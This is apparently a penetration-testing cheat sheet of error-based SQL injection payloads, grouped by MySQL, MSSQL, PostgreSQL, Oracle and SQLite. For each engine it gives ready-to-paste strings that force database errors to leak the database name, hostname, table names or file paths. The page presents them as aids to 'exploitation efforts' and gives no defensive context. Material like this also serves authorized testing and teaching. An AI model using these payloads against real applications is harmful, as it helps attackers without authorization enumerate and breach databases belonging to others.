🈂️Extract DB Name Using Errors

These advanced error-based SQL injection techniques, you can extract crucial information such as the database name and hostname, which can further aid in your exploitation efforts.

MySQL

Extracting Database Name

Use error-based injection to extract the database name.

' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --

Extracting Hostname

Use error-based injection to extract the hostname.

' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT @@hostname), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --

----------------------------------------------------------------

MSSQL

Extracting Database Name

Use error-based injection to extract the current database name.

'; SELECT 1 WHERE 1=CAST(DB_NAME() AS INT) --

Extracting Hostname

Use error-based injection to extract the server hostname.

'; SELECT 1 WHERE 1=CAST(@@servername AS INT) --

----------------------------------------------------------------

PostgreSQL

Extracting Database Name

Use error-based injection to extract the current database name.

' AND 1=CAST((SELECT current_database()) AS INT) --

Extracting Hostname

PostgreSQL does not directly provide a function for hostname, but you can use other metadata queries or built-in extensions like inet_server_addr.

' AND 1=CAST((SELECT inet_server_addr()) AS INT) --

----------------------------------------------------------------

Oracle

Extracting Database Name

Use error-based injection to extract the current database name.

' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT ora_database_name FROM dual) AS INT) --

Extracting Hostname

Use error-based injection to extract the hostname.

' UNION SELECT NULL FROM dual WHERE 1=CAST((SELECT SYS_CONTEXT('USERENV', 'HOST') FROM dual) AS INT) --

----------------------------------------------------------------

SQLite

Extracting Database Name

SQLite uses a single database per file, but you can force errors to reveal database-related information.

' AND 1=CAST((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1) AS INT) --

Extracting Hostname

SQLite does not inherently have a hostname since it’s a file-based database. However, you can infer file paths which might give clues.

' AND 1=CAST((SELECT file FROM pragma_database_list LIMIT 1) AS INT) --

----------------------------------------------------------------